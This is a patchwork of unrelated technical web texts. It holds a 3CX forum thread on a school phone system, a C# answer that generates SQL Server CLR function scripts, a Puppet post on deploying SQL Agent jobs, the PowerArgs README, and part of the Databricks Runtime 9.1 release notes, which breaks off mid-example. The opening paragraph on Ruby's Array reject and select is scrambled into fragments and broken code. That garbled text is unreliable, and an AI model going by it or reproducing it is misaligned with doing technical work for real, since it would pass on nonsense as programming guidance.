about the Array.reject method: here, we have seen that we a!, one after the other reject { |num| num * * 2 } = > [ 4,16,36,64,10000 you... S also possible to sort the values of an array or a hash called something different a false.! Passed, and the Second form returns nil, and those are returned is an alias for,! Useful stuff `` books '' WHERE `` books '' WHERE `` books '' of! S the difference actually running find_all or select on an array use regular expressions as your when condition instead... As rigid as arrays in ruby select array languages elements for which the block returns a new array will be.... Objects is created few different use cases and how it all really running or... Bring any change in the Enumerable, so running find_all or select on an array, adding to! | __label__pos | 0.962462 |
Is This Possible?
Discussion in '3CX Phone System - General' started by markwalsham, Mar 14, 2010.
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1. markwalsham
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Hi everyone,
Hope your all well. Let me first say that I am very very new to telephony, although have had extensive experience of Windows Workstation and Server installs and configurations. I have a part-time role at my local school, where I help out with their IT etc. They run an fairly old PBX system, with two analogue lines. Typical for a school, they have wired Ethernet in all rooms locations.
The problem is this. The school lines (one incoming and two outgoing) get very congested on a regular basis, with people calling in to notify of absences and general questions.
I can see that some form of IP based phone system and server controlled telephony solution, with something like Automatic Attendant with Voicemail seems to be an ideal solution. A recommendation was made of 3CX for this purpose.
What I am asking, basically, is what exactly do I need to do a very modest install to handle incoming, outgoing and voicemail, with a simple IP phone implementation?
I have a tight (nearly non-existent) budget.
I am guessing, I will need:-
1. Server Hardware - A machine capable of running Win2k3 Server (or higher).
2. Ethernet interface.
3. Analogue to IP Interface Card (?)
4. 3CX Software.
5. Standards Based IP phones (Patton units?)
6. Analogue Phone Lines.
Any advice is greatly appreciated and if you require any more detail, please let me know. As stated above, this is all very very new to me, and want to get a sense of how much I can do DIY.
Cheers, Mark.
2. leejor
leejor Well-Known Member
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If you have DTMF analogue phones then you don't have to replace them with VoIP phones if you don't want to. You can purchase ATA's (analog telephone adapters) that would be located where your current PBX is. This may work out a bit cheaper and there would be less risk of damage or theft of a VoIP phone in an unsecured area. You could install a few VoIP phones in the main office areas. You would also have to buy a gateway to convert the current analog phone lines to VoIP to bring into 3CX as trunks. Since your lines sound quite busy it would probably be best to get a four line gateway to allow for any future expansion.
So...
Computer to run 3CX (even a small Atom based system would work in your situation) Win XP-pro/Win7(NOT home or starter)
Four port Gateway (for incoming telephone lines)
ATA(s) with enough ports (one for each set)
3CX software
Small switch (to connect all of the Ethernet devices together)
small UPS (to keep the system up during short power outages)
If the school has a high speed internet connection already then you might want to look at (the price) of going with a VoIP provider in your area. That would eliminate the Gateway. You may still want an analog line if the school has a fax machine or alarm system.
3. markwalsham
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Thanks for the reply. Can I just clarify something? I appreciate this is simple stuff, just want to fully understand the architecture before I go head first!
So, the main analogue line in, will need to go through a gateway. Is this an appliance, or is it an expansion card that I need to add to the PC running 3CX?
Also, how does this gateway split the line so that I can say have 4 lines from one physical inbound line? Is this how it works?
I understand the concept of the ATA's, which in this case would make sense also, as does the UPS and switch, and good call on the other outside lines for alarms and fax. I presume that I only connect the candidate lines to the gateway (to allow 3CX to manage) and leave the others well alone?
I clearly am showing my lack of knowledge on telephony!
I am happy building a PC with 3CX, it's just the gateway I am not sure of!
Thanks, Mark.
4. jelliott52
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Hi Mark,
A gateway is basically an analog voice to Ethernet voice converter. A gateway is 1- telephone line to 1 - port on the gateway. If you have only one telephone line for outbound calling then you can only make one call. You can get an one from Grandstream or Linksys, the part number for Grandstream is GXW-4104, they are all over the internet. If I where you I would view all of the video's that 3CX has and read there manual cover to cover.
Jay
5. mfm
mfm Active Member
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Our supported gateways can be easily configured using our step by step guides. Most of the work is done for you to get you up and running, each gateway differs, the Grandstream is a good place to start. Pattons are extremely reliable but also expensive so it might not git into your tight budget.Only 1 call can pass trough a line whether it is incoming or outgoing, multiple lines must be passed from pattons to PSTN extensions.
This diagram might visually aid you in understanding.
http://www.dceexpress.com/Images/Patton_4520_appa.jpg
Stop hovering to collapse... Click to collapse... Hover to expand... Click to expand...
6. leejor
leejor Well-Known Member
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Exactly. The only lines that have to go through the Gateway are the ones that you wish to make or receive voice calls on. As I said, if the school already has a high speed internet link, and it's reliable, then I would seriously investigate the cost of (eventually) converting to a VoIP provider that allows the use of devices (a Gateway) other than the ones that they provide. You might find that you are able to add a few more trunks for less than you are paying now.
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psadac psadac - 7 months ago 51
C# Question
Create sql server functions from an assembly dll automatically
I have several functions in an assembly dll named
UserFunctions.dll
, for example :
public static partial class VariousFunctions
{
[SqlFunction(IsDeterministic = true, IsPrecise = true)]
public static SqlBoolean RegexMatch(SqlString expression, SqlString pattern)
{
...
}
[SqlFunction(IsDeterministic = true, IsPrecise = true)]
public static SqlInt32 WorkingDays(SqlDateTime startDateTime, SqlDateTime endDateTime)
{
...
}
[SqlFunction(IsDeterministic = true, IsPrecise = true)]
public static SqlString getVersion()
{
...
}
...
}
And I want to generate the sql script with a c# function, to create or update automatically all functions with attribute
SqlFunction
contained in this dll.
This sql script should look like this :
-- Delete all functions from assembly 'UserFunctions'
DECLARE @sql NVARCHAR(MAX)
SET @sql = 'DROP FUNCTION ' + STUFF(
(
SELECT
', ' + QUOTENAME(assembly_method)
FROM
sys.assembly_modules
WHERE
assembly_id IN (SELECT assembly_id FROM sys.assemblies WHERE name = 'UserFunctions')
FOR XML PATH('')
), 1, 1, '')
-- SELECT @sql
IF @sql IS NOT NULL EXEC sp_executesql @sql
-- Create all functions from assembly 'UserFunctions'
CREATE FUNCTION RegexMatch(@expression NVARCHAR(MAX), @pattern NVARCHAR(MAX)) RETURNS BIT
AS EXTERNAL NAME UserFunctions.VariousFunctions.RegexMatch;
GO
CREATE FUNCTION WorkingDays(@startDateTime DATETIME, @endDateTime DATETIME) RETURNS INTEGER
AS EXTERNAL NAME UserFunctions.VariousFunctions.WorkingDays;
GO
CREATE FUNCTION getVersion() RETURNS VARCHAR(MAX)
AS EXTERNAL NAME UserFunctions.VariousFunctions.getVersion;
GO
The first part is very simple, but for the second part this is probably possible using the reflection methods of the classes Type, MethodInfo and ParameterInfo.
Someone has already done this ?
Answer
I have tested and debugged it :
static void Main(string[] args)
{
Assembly clrAssembly = Assembly.LoadFrom(@"Path\to\your\assembly.dll");
string sql = CreateFunctionsFromAssembly(clrAssembly, permissionSetType.UNSAFE);
File.WriteAllText(sqlFile, sql);
}
/// <summary>
/// permissions available for an assembly dll in sql server
/// </summary>
public enum permissionSetType { SAFE, EXTERNAL_ACCESS, UNSAFE };
/// <summary>
/// generate sql from an assembly dll with all functions with attribute SqlFunction
/// </summary>
/// <param name="clrAssembly">assembly object</param>
/// <param name="permissionSet">sql server permission set</param>
/// <returns>sql script</returns>
public static string CreateFunctionsFromAssembly(Assembly clrAssembly, permissionSetType permissionSet)
{
const string sqlTemplate = @"
-- Delete all functions from assembly '{0}'
DECLARE @sql NVARCHAR(MAX)
SET @sql = 'DROP FUNCTION ' + STUFF(
(
SELECT
', ' + assembly_method
FROM
sys.assembly_modules
WHERE
assembly_id IN (SELECT assembly_id FROM sys.assemblies WHERE name = '{0}')
FOR XML PATH('')
), 1, 1, '')
IF @sql IS NOT NULL EXEC sp_executesql @sql
GO
-- Delete existing assembly '{0}' if necessary
IF EXISTS(SELECT 1 FROM sys.assemblies WHERE name = '{0}')
DROP ASSEMBLY {0};
GO
{1}
GO
-- Create all functions from assembly '{0}'
";
string assemblyName = clrAssembly.GetName().Name;
StringBuilder sql = new StringBuilder();
sql.AppendFormat(sqlTemplate, assemblyName, CreateSqlFromAssemblyDll(clrAssembly, permissionSet));
foreach (Type classInfo in clrAssembly.GetTypes())
{
foreach (MethodInfo methodInfo in classInfo.GetMethods(BindingFlags.Static | BindingFlags.Public | BindingFlags.DeclaredOnly))
{
if (Attribute.IsDefined(methodInfo, typeof(SqlFunctionAttribute)))
{
StringBuilder methodParameters = new StringBuilder();
bool firstParameter = true;
foreach (ParameterInfo paramInfo in methodInfo.GetParameters())
{
if (firstParameter)
firstParameter = false;
else
methodParameters.Append(", ");
methodParameters.AppendFormat(@"@{0} {1}", paramInfo.Name, ConvertClrTypeToSql(paramInfo.ParameterType));
}
string returnType = ConvertClrTypeToSql(methodInfo.ReturnParameter.ParameterType);
string methodName = methodInfo.Name;
string className = (classInfo.Namespace == null ? "" : classInfo.Namespace + ".") + classInfo.Name;
string externalName = string.Format(@"{0}.[{1}].{2}", assemblyName, className, methodName);
sql.AppendFormat(@"CREATE FUNCTION {0}({1}) RETURNS {2} AS EXTERNAL NAME {3};"
, methodName, methodParameters, returnType, externalName)
.Append("\nGO\n");
}
}
}
return sql.ToString();
}
/// <summary>
/// Generate sql script to create assembly
/// </summary>
/// <param name="clrAssembly"></param>
/// <param name="permissionSet">sql server permission set</param>
/// <returns></returns>
public static string CreateSqlFromAssemblyDll(Assembly clrAssembly, permissionSetType permissionSet)
{
const string sqlTemplate = @"
-- Create assembly '{0}' from dll
CREATE ASSEMBLY [{0}]
AUTHORIZATION [dbo]
FROM 0x{2}
WITH PERMISSION_SET = {1};
";
StringBuilder bytes = new StringBuilder();
using (FileStream dll = File.OpenRead(clrAssembly.Location))
{
int @byte;
while ((@byte = dll.ReadByte()) >= 0)
bytes.AppendFormat("{0:X2}", @byte);
}
string sql = String.Format(sqlTemplate, clrAssembly.GetName().Name, permissionSet, bytes);
return sql;
}
/// <summary>
/// Convert clr type to sql type
/// </summary>
/// <param name="clrType">clr type</param>
/// <returns>sql type</returns>
private static string ConvertClrTypeToSql(Type clrType)
{
switch (clrType.Name)
{
case "SqlString":
return "NVARCHAR(MAX)";
case "SqlDateTime":
return "DATETIME";
case "SqlInt16":
return "SMALLINT";
case "SqlInt32":
return "INTEGER";
case "SqlInt64":
return "BIGINT";
case "SqlBoolean":
return "BIT";
case "SqlMoney":
return "MONEY";
case "SqlSingle":
return "REAL";
case "SqlDouble":
return "DOUBLE";
case "SqlDecimal":
return "DECIMAL(18,0)";
case "SqlBinary":
return "VARBINARY(MAX)";
default:
throw new ArgumentOutOfRangeException(clrType.Name + " is not a valid sql type.");
}
} | __label__pos | 0.987267 |
Adding SQL Server Agent Jobs using Puppet
I find Puppet Enterprise to be very useful for configuring our many SQL Servers. It does a nice job of setting up the SQL Instance and doing some base configuration. There were a few things I wanted to add that it didn’t do out of the box that I thought I’d share. One need I had was there was a set of specific SQL Agent jobs that I deployed out to our servers that I wanted Puppet to lay down for me. I was able to build a pseudo-resource using the PE sqlserver forge module and some T-SQL. I call it a pseudo-resource because it’s not a real resource in Puppet (with all the backing Ruby classes), but it behaves very much like a resource.
To do this, I needed the puppetlabs/sqlserver module and I had to create two files in my Puppet code repository.
NOTE: You must have Puppet Enterprise to use the puppetlabs/sqlserver module!
The first file I had to create was a T-SQL template that would generate the code needed to add the SQL Agent job. This template is not 100% fully-featured, and a lot more variables can be added to fully flesh out all of its options, but this is a very solid start. I named this file sql_agent_job.epp and dropped it in my “templates” folder. It looks like this:
<%- | String $name, String $description, String $notifyOperator = "", Array[Hash] $steps, Any $schedules = undef | -%>
BEGIN TRANSACTION
BEGIN TRY
DECLARE @ReturnCode INT
SELECT @ReturnCode = 0
IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1)
BEGIN
EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]';
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
END;
This isn’t the complete file (see my link below for the entire thing), but it gives you the idea. The template gets called by the .pp class file, which is below.
The second file is the actual Puppet class (.pp extension). This is the file that implements the template and makes the whole thing “resource-like”. This file belongs in your “manifests” folder in your repository or module:
class sqlserver::sql_agent_job()
{
define sql_agent_job
(
String $sqlInstanceName,
String $description,
String $notifyOperator,
Array[Hash] $steps,
Any $schedules = undef
)
{
sqlserver_tsql { "${title}_${sqlInstanceName}_sql_agent_job" :
instance => $sqlInstanceName,
command => epp("sqlserver/sql_add_job.epp", {
name => $name,
description => $description,
notifyOperator => $notifyOperator,
steps => $steps,
schedules => $schedules
}),
onlyif => "IF NOT EXISTS ( SELECT * FROM msdb.dbo.sysjobs WHERE name = '${name}' ) BEGIN
THROW 51000, '${name} job not present.', 10;
END;"
}
}
}
Note: You have to make sure the call to epp(…) above points to the path your template is at. In the example above, I presume it’s in the same module in the templates/sqlserver folder. Your folder structure should look roughly like this:
manifests/
/sqlserver/sql_add_job.pp
templates/
/sqlserver/sql_add_job.epp
This is the resource you will actually drop in you profile classes to add jobs to servers. The input parameters are as follows:
# PARAMETERS:
# name => (namevar) Specifies the name of the agent job. - https://msdn.microsoft.com/en-us/library/ms182079.aspx
# sqlInstanceName => Specifies the SQL Server instance.
# description => Specifies the description on the job.
# notifyOperator => Specifies the name of the job operator to notify.
# steps => An array of hashes specifying the job steps:
# name => String - The name of the job step
# command => String - The T-SQL to execute
# database => String - The name of the database to execute against if the subsystem is TSQL.
# onSuccess => Integer - 3(next)|2(quitfail)|1(quitsuccess)|4(gotostep), default is 1
# onFail => Integer - 3(next)|2(quitfail)|1(quitsuccess)|4(gotostep), default is 2
# onSuccessStepId => Integer - The stepid to go to on success
# onFailStepId => Integer - The stepid to to go in failure
# subsystem => String - Specify either "TSQL" or "CmdExec". Default is TSQL.
# outputFileName => String - Specify the path to the file to write the output to.
# schedules => (optional) A hash specifying a job schedule. - https://msdn.microsoft.com/en-us/library/ms366342.aspx
# frequencyType => Integer - 1(once)|4(daily)|8(weekly)|16(monthly), default 4
# frequencyInterval => Integer - (once) - not used | (daily) - every frequencyInterval days | (weekly) - frequencyinterval determines day of wek | (monthly) - determines day of the month
# frequencySubdayType => Integer - 1(attime)|4(minutes)|8(hours), default 1
# frequencySubdayInterval => Integer - number of minutes/hours
# frequencyRecurrenceFactor => Integer - Number of weeks/months between exectutions. Nonzero value required if frequencytype is 8|16|32 (not used otherwise). Default is 0.
# activeStartTime => "HHMMSS, default 0",
# activeEndTime => "HHMMSS, default 235959"
You’ll probably notice the parameter names and values are pretty much identical to the input parameters for sp_add_job, sp_add_jobstep and sp_add_jobschedule stored procedures. A trick I use when I want to take a job and add it to Puppet is to add the job to SQL Server first, set it up the way I want, then script the job out. The parameters in the T-SQL script will pretty much translate to the sql_agent_job resource.
Here is an example of a profile with the sql_agent_job resource in use:
profile::sqlserver::component::sql_agent_job::sql_agent_job { "${name}_my_agent_job":
name => "My SQL Agent Job",
sqlInstanceName => $name,
description => 'This is my SQL Agent Job being deploying wiht Puppet.',
notifyOperator => 'SQLTeam',
steps => [{
name => 'Execute Test Script',
database => 'master',
subsystem => 'TSQL',
command => "SELECT 'test data here'",
onSuccess => 1,
onFail => 2
}],
schedules => {
frequencyType => 4,
frequencyInterval => 1,
frequencySubdayType => 4,
frequencySubdayInterval => 30,
activeStartTime => 000000,
activeEndTime => 235959
},
}
The full versions of these files can be found in my GitHub repository here:
Enjoy!
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Connecting to %s | __label__pos | 0.708263 |
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Code Quality Rank: L3
Programming language: HTML
License: MIT License
Tags: Parser Command Line Argument
Power Args alternatives and similar packages
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README
Binary
PowerArgs is available at the Official NuGet Gallery.
As of version 3.0.0 PowerArgs targets .NET Standard 2.0 so that it can run cross platform. Version 3.0 requires VS 15.3 if you want to use PowerArgs from .NET 4.6.1.
Overview
PowerArgs converts command line arguments into .NET objects that are easy to program against. It also provides a ton of additional, optional capabilities that you can try such as argument validation, auto generated usage, tab completion, and plenty of extensibility. You can even build a full-blown, interactive text UI application like this one.
It can also orchestrate the execution of your program. Giving you the following benefits:
• Consistent and natural user error handling
• Invoking the correct code based on an action (e.g. 'git push' vs. 'git pull')
• Focus on writing your code
Here's a simple example that just uses the parsing capabilities of PowerArgs. The command line arguments are parsed, but you still have to handle exceptions and ultimately do something with the result.
// A class that describes the command line arguments for this program
public class MyArgs
{
// This argument is required and if not specified the user will
// be prompted.
[ArgRequired(PromptIfMissing=true)]
public string StringArg { get; set; }
// This argument is not required, but if specified must be >= 0 and <= 60
[ArgRange(0,60)]
public int IntArg {get;set; }
}
class Program
{
static void Main(string[] args)
{
try
{
var parsed = Args.Parse<MyArgs>(args);
Console.WriteLine("You entered string '{0}' and int '{1}'", parsed.StringArg, parsed.IntArg);
}
catch (ArgException ex)
{
Console.WriteLine(ex.Message);
Console.WriteLine(ArgUsage.GenerateUsageFromTemplate<MyArgs>());
}
}
}
Here's the same example that lets PowerArgs do a little more for you. The application logic is factored out of the Program class and user exceptions are handled automatically. The way exceptions are handled is that any exception deriving from ArgException will be treated as user error. PowerArgs' built in validation system always throws these type of exceptions when a validation error occurs. PowerArgs will display the message as well as auto-generated usage documentation for your program. All other exceptions will still bubble up and need to be handled by your code.
// A class that describes the command line arguments for this program
[ArgExceptionBehavior(ArgExceptionPolicy.StandardExceptionHandling)]
public class MyArgs
{
// This argument is required and if not specified the user will
// be prompted.
[ArgRequired(PromptIfMissing=true)]
public string StringArg { get; set; }
// This argument is not required, but if specified must be >= 0 and <= 60
[ArgRange(0,60)]
public int IntArg {get;set; }
// This non-static Main method will be called and it will be able to access the parsed and populated instance level properties.
public void Main()
{
Console.WriteLine("You entered string '{0}' and int '{1}'", this.StringArg, this.IntArg);
}
}
class Program
{
static void Main(string[] args)
{
Args.InvokeMain<MyArgs>(args);
}
}
Then there are more complicated programs that support multiple actions. For example, the 'git' program that we all use supports several actions such as 'push' and 'pull'. As a simpler example, let's say you wanted to build a calculator program that has 4 actions; add, subtract, multiply, and divide. Here's how PowerArgs makes that easy.
[ArgExceptionBehavior(ArgExceptionPolicy.StandardExceptionHandling)]
public class CalculatorProgram
{
[HelpHook, ArgShortcut("-?"), ArgDescription("Shows this help")]
public bool Help { get; set; }
[ArgActionMethod, ArgDescription("Adds the two operands")]
public void Add(TwoOperandArgs args)
{
Console.WriteLine(args.Value1 + args.Value2);
}
[ArgActionMethod, ArgDescription("Subtracts the two operands")]
public void Subtract(TwoOperandArgs args)
{
Console.WriteLine(args.Value1 - args.Value2);
}
[ArgActionMethod, ArgDescription("Multiplies the two operands")]
public void Multiply(TwoOperandArgs args)
{
Console.WriteLine(args.Value1 * args.Value2);
}
[ArgActionMethod, ArgDescription("Divides the two operands")]
public void Divide(TwoOperandArgs args)
{
Console.WriteLine(args.Value1 / args.Value2);
}
}
public class TwoOperandArgs
{
[ArgRequired, ArgDescription("The first operand to process"), ArgPosition(1)]
public double Value1 { get; set; }
[ArgRequired, ArgDescription("The second operand to process"), ArgPosition(2)]
public double Value2 { get; set; }
}
class Program
{
static void Main(string[] args)
{
Args.InvokeAction<CalculatorProgram>(args);
}
}
Again, the Main method in your program class is just one line of code. PowerArgs will automatically call the right method in the CalculatorProgram class based on the first argument passed on the command line. If the user doesn't specify a valid action then they get a friendly error. If different actions take different arguments then PowerArgs will handle the validation on a per action basis, just as you would expect.
Here are some valid ways that an end user could call this program:
• Calculator.exe add -Value1 1 -Value2 5 outputs '6'
• Calculator.exe multiply /Value1:2 /Value2:5 outputs '10'
• Calculator.exe add 1 4 outputs '5' - Since the [ArgPosition] attribute is specified on the Value1 and Value2 properties, PowerArgs knows how to map these arguments.
If you wanted to, your action method could accept loose parameters in each action method. I find this is useful for small, simple programs where the input parameters don't need to be reused across many actions.
[ArgActionMethod, ArgDescription("Adds the two operands")]
public void Add(
[ArgRequired][ArgDescription("The first value to add"), ArgPosition(1)] double value1,
[ArgRequired][ArgDescription("The second value to add"), ArgPosition(2)] double value2)
{
Console.WriteLine(value1 + value2);
}
You can't mix and match though. An action method needs to be formatted in one of three ways:
• No parameters - Meaning the action takes no additional arguments except for the action name (i.e. '> myprogram.exe myaction').
• A single parameter of a complex type whose own properties describe the action's arguments, validation, and other metadata. The first calculator example used this pattern.
• One or more 'loose' parameters that are individually revivable, meaning that one command line parameter maps to one property in your class. The second calculator example showed a variation of the Add method that uses this pattern.
Metadata Attributes
These attributes can be specified on argument properties. PowerArgs uses this metadata to influence how the parser behaves.
• [ArgPosition(0)] This argument can be specified by position (no need for -propName)
• [ArgShortcut("n")] Lets the user specify -n
• [ArgDescription("Description of the argument")]
• [ArgExample("example text", "Example description")]
• [HelpHook] Put this on a boolean property and when the user specifies that boolean. PowerArgs will display the help info and stop processing any additional work. If the user is in the context of an action (e.g. myprogram myaction -help) then help is shown for the action in context only.
• [ArgDefaultValue("SomeDefault")] Specify the default value
• [ArgIgnore] Don't populate this property as an arg
• [StickyArg] Use the last used value if not specified. This is preserved across sessions. Data is stored in /AppData/Roaming/PowerArgs by default.
• [TabCompletion] Enable tab completion for parameter names (see documentation below)
Validator Attributes
These attributes can be specified on argument properties. You can create custom validators by implementing classes that derive from ArgValidator.
• [ArgRequired(PromptIfMissing=bool)] This argument is required. There is also support for conditionally being required.
• [ArgExistingFile] The value must match the path to an existing file
• [ArgExistingDirectory] The value must match the path to an existing directory
• [ArgRange(from, to)] The value must be a numeric value in the given range.
• [ArgRegex("MyRegex")] Apply a regular expression validation rule
• [UsPhoneNumber] A good example of how to create a reuable, custom validator.
Custom Revivers
Revivers are used to convert command line strings into their proper .NET types. By default, many of the simple types such as int, DateTime, Guid, string, char, and bool are supported.
If you need to support a different type or want to support custom syntax to populate a complex object then you can create a custom reviver.
This example converts strings in the format "x,y" into a Point object that has properties "X" and "Y".
public class CustomReviverExample
{
// By default, PowerArgs does not know what a 'Point' is. So it will
// automatically search your assembly for arg revivers that meet the
// following criteria:
//
// - Have an [ArgReviver] attribute
// - Are a public, static method
// - Accepts exactly two string parameters
// - The return value matches the type that is needed
public Point Point { get; set; }
// This ArgReviver matches the criteria for a "Point" reviver
// so it will be called when PowerArgs finds any Point argument.
//
// ArgRevivers should throw ArgException with a friendly message
// if the string could not be revived due to user error.
[ArgReviver]
public static Point Revive(string key, string val)
{
var match = Regex.Match(val, @"(\d*),(\d*)");
if (match.Success == false)
{
throw new ArgException("Not a valid point: " + val);
}
else
{
Point ret = new Point();
ret.X = int.Parse(match.Groups[1].Value);
ret.Y = int.Parse(match.Groups[2].Value);
return ret;
}
}
}
Generate usage documentation from templates (built in or custom)
PowerArgs has always provided auto-generated usage documentation via the ArgUsage class. However, the format was hard coded, and gave very little flexibility in terms of the output format. With the latest release of PowerArgs usage documentation can be fully customized via templates. A template is just a piece of text that represents the documentation structure you want along with some placeholders that will be replaced with the actual information about your command line application. There are built in templates designed for the console and a web browser, and you can also create your own.
In its latest release, PowerArgs adds a new method called ArgUsage.GenerateUsageFromTemplate(). The method has several overloads, most of which are documented via XML intellisense comments. The part that needs a little more explanation is the template format. To start, let's talk about the built in templates.
The first one, the default, is designed to create general purpose command line usage documentation that is similar to the older usage documentation that PowerArgs generated. You can see what that template looks like here.
The second one is designed to create documentation that looks good in a browser. You can see what that template looks like here.
Here is an example of what the built in browser usage looks like.
You can create your own templates from scratch, or modify these default templates to suit your needs. The templating engine was built specifically for PowerArgs. It has quite a bit of functionality and extensibility, but for now I'm only going to document the basics.
Most of you probably use the class and attributes model when using PowerArgs, but under the hood there's a pretty extensive object model that gets generated from the classes you build. That model is what is bound to the template. If you're not familiar with the object model you can explore the code here.
You can see from the built in templates that there is placeholder syntax that lets you insert information from the model into template. For example, if your program is called 'myprogram' then the following text in the template would be replaced with 'myprogram'.
{{ExeName !}} is the best
// outputs - 'myprogram is the best'
Additionally, you can add a parameter to the replacement tag that indicates the color to use when printed on the command line as a ConsoleString. You can use any ConsoleColor as a parameter.
{{ExeName Cyan !}}
You can also choose to conditionally include portions of a template based on a property. Here's an example from the default template:
{{if HasActions}}Global options!{{if}}{{ifnot HasActions}}Options!{{ifnot}}:
In this case, if the HasActions property on the CommandLineArgumentsDefinition object is true then the usage will output 'Global options'. Otherwise it will output 'Options'. This flexibility is important since some command line programs have only simple options while others expose multiple commands within the same executable (e.g. git pull and git push).
Another thing you can do is to enumerate over a collection to include multiple template fragments in your output. Take this example.
{{each action in Actions}}
{{action.DefaultAlias!}} - {{action.Description!}}
!{{each}}
If your program has 3 actions defined then you'd get output like this.
action1 - action 1 description here
action2 - action 2 description here
action3 - action 3 description here
When referring to a part of your data model you can also navigate objects using dot '.' notation. Notice in the example above I was able to express {{ action.DefaultAlias !}}. You could go even deeper. For example {{ someObj.SomeProperty.DeeperProperty !}}. More advanced expressions like function calling with parameters are not supported.
PS
I'm pretty happy with the templating solution. In fact, hidden in PowerArgs is a general purpose template rendering engine that I've found useful in other projects for things like code generation. You can actually bind any string template to any plain old .NET object (dynamic objects not supported). Here's a basic sample:
var renderer = new DocumentRenderer();
var document = renderer.Render("Hi {{ Name !}}", new { Name = "Adam" });
// outputs 'Hi Adam'
Ambient Args
Access your parsed command line arguments from anywhere in your application.
MyArgs parsed = Args.GetAmbientArgs<MyArgs>();
This will get the most recent insance of type MyArgs that was parsed on the current thread. That way, you have access to things like global options without having to pass the result all throughout your code.
Secure String Arguments
Support for secure strings such as passwords where you don't want your users' input to be visible on the command line.
Just add a property of type SecureStringArgument.
public class TestArgs
{
public SecureStringArgument Password { get; set; }
}
Then when you parse the args you can access the value in one of two ways. First there's the secure way.
TestArgs parsed = Args.Parse<TestArgs>();
SecureString secure = parsed.Password.SecureString; // This line causes the user to be prompted
Then there's the less secure way, but at least your users' input won't be visible on the command line.
TestArgs parsed = Args.Parse<TestArgs>();
string notSecure = parsed.Password.ConvertToNonsecureString(); // This line causes the user to be prompted
Tab Completion
Get tab completion for your command line arguments. Just add the TabCompletion attribute and when your users run the program from the command line with no arguments they will get an enhanced prompt (should turn blue) where they can have tab completion for command line argument names.
[TabCompletion]
public class TestArgs
{
[ArgRequired]
public string SomeParam { get; set; }
public int AnotherParam { get; set; }
}
Sample usage:
someapp -some <-- after typing "-some" you can press tab and have it fill in the rest of "-someparam"
You can even add your own tab completion logic in one of two ways. First there's the really easy way. Derive from SimpleTabCompletionSource and provide a list of words you want to be completable.
public class MyCompletionSource : SimpleTabCompletionSource
{
public MyCompletionSource() : base(MyCompletionSource.GetWords()) {}
private static IEnumerable<string> GetWords()
{
return new string[] { "SomeLongWordThatYouWantToEnableCompletionFor", "SomeOtherWordToEnableCompletionFor" };
}
}
Then just tell the [TabCompletion] attribute where to find your class.
[TabCompletion(typeof(MyCompletionSource))]
public class TestArgs
{
[ArgRequired]
public string SomeParam { get; set; }
public int AnotherParam { get; set; }
}
There's also the easy, but not really easy way if you want custom tab completion logic. Let's say you wanted to load your auto completions from a text file. You would implement ITabCompletionSource.
public class TextFileTabCompletionSource : ITabCompletionSource
{
string[] words;
public TextFileTabCompletionSource(string file)
{
words = File.ReadAllLines(file);
}
public bool TryComplete(bool shift, string soFar, out string completion)
{
var match = from w in words where w.StartsWith(soFar) select w;
if (match.Count() == 1)
{
completion = match.Single();
return true;
}
else
{
completion = null;
return false;
}
}
}
If you expect your users to sometimes use the command line and sometimes run from a script then you can specify an indicator string. If you do this then only users who specify the indicator as the only argument will get the prompt.
[TabCompletion("$")]
public class TestArgs
{
[ArgRequired]
public string SomeParam { get; set; }
public int AnotherParam { get; set; }
}
The PowerArgs.Cli (undocumented) namespace
The PowerArgs.Cli namespace contains framework components that make it easy to build very interactive command line applications. This namespace is undocumented since these capabilities are still a work in progress. When it gets closer to being ready I'll document the classes just like the rest of PowerArgs. | __label__pos | 0.948602 |
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Databricks Runtime 9.1 LTS
The following release notes provide information about Databricks Runtime 9.1 LTS and Databricks Runtime 9.1 LTS Photon, powered by Apache Spark 3.1.2. Databricks released these images in September 2021. Photon is in Public Preview.
Note
LTS means this version is under long-term support. See Long-term support (LTS) lifecycle.
New features and improvements
Auto Loader schema hints now work with array and map types
Array and map types are supported in Override schema inference with schema hints for Auto Loader.
Examples of schema hints for arrays include:
1. arr Array<TYPE> changes the array type.
2. arr.element TYPE changes the array type (by using the element keyword).
3. arr.element.x TYPE changes a nested field type in an array of structures.
The first two examples are hints to change the type of array arr to TYPE, but they use different syntax. In the third example, arr is an array of structures with a field x. This example shows how to change the type of x to TYPE.
Examples of schema hints for maps include:
1. m Map<KEY_TYPE, VALUE_TYPE> changes map key and value types.
2. m.key TYPE changes the type of map keys.
3. m.value TYPE changes the type of map values.
4. m.key.x TYPE changes the field type in a map key.
5. m.value.x TYPE changes the field type of a map value.
The first example changes both the key and value types of map m to KEY_TYPE and VALUE_TYPE respectively. The second and third examples can be used if only the key type or only the value type needs to be changed. In the fourth and fifth examples, m is a map with key and value of structure types with a field x. This example shows how to change the type of x to TYPE.
Avro file support for merge schema
The Avro file format now supports the mergeSchema option when reading files. Setting mergeSchema to true when reading Avro files will infer a schema from a set of Avro files rather than from a single file. This improves usability by inferring a schema that may be able to read all files even if their individual schemas differ. See Configuration.
Auto Loader incremental listing support (Public Preview)
In the case of lexicographically generated files, What is Auto Loader? now leverages lexical file ordering and existing optimized APIs to make the directory listing more efficient by listing from previously-ingested files rather than by listing the entire directory. Auto Loader automatically detects whether a given directory is suitable for incremental listing by default. To control this behavior explicitly, set the new cloudFiles.useIncrementalListing option to on (true), off (false), or automatic (auto). If you set this behavior to true, you can also set the cloudFiles.backfillInterval option to schedule regular backfills over your data, to make sure all of your data is completely ingested.
Delta now supports arbitrary replaceWhere
In combination with overwrite mode, the replaceWhere option can be used to simultaneously overwrite data that matches a predicate defined in the option. Previously, replaceWhere supported a predicate only over partition columns, but it can now be an arbitrary expression. See Write to a table.
Auto Loader for Google Cloud now supports file notifications (Public Preview)
Auto Loader now supports file notification mode on Google Cloud. Set .option("cloudFiles.useNotifications", "true") to allow Auto Loader to automatically set up Google Cloud Pub/Sub resources for you. With file notification mode, new files are detected and ingested as they arrive without listing the input directory. See What is Auto Loader file notification mode?.
CREATE FUNCTION now supports creating table functions
In addition to creating a scalar function that returns a scalar value, you can now create a table function that returns a set of rows. See CREATE FUNCTION.
Kafka Streaming Source now reports estimatedTotalBytesBehindLatest metric
The Kafka streaming source now reports an estimate of how many bytes the consumer is behind the latest available byte after every batch. You can use this metric to track stream progress. See Metrics.
Example metric output:
StreamingQueryProgress {
"batchId": 0,
.....
"sources": [ {
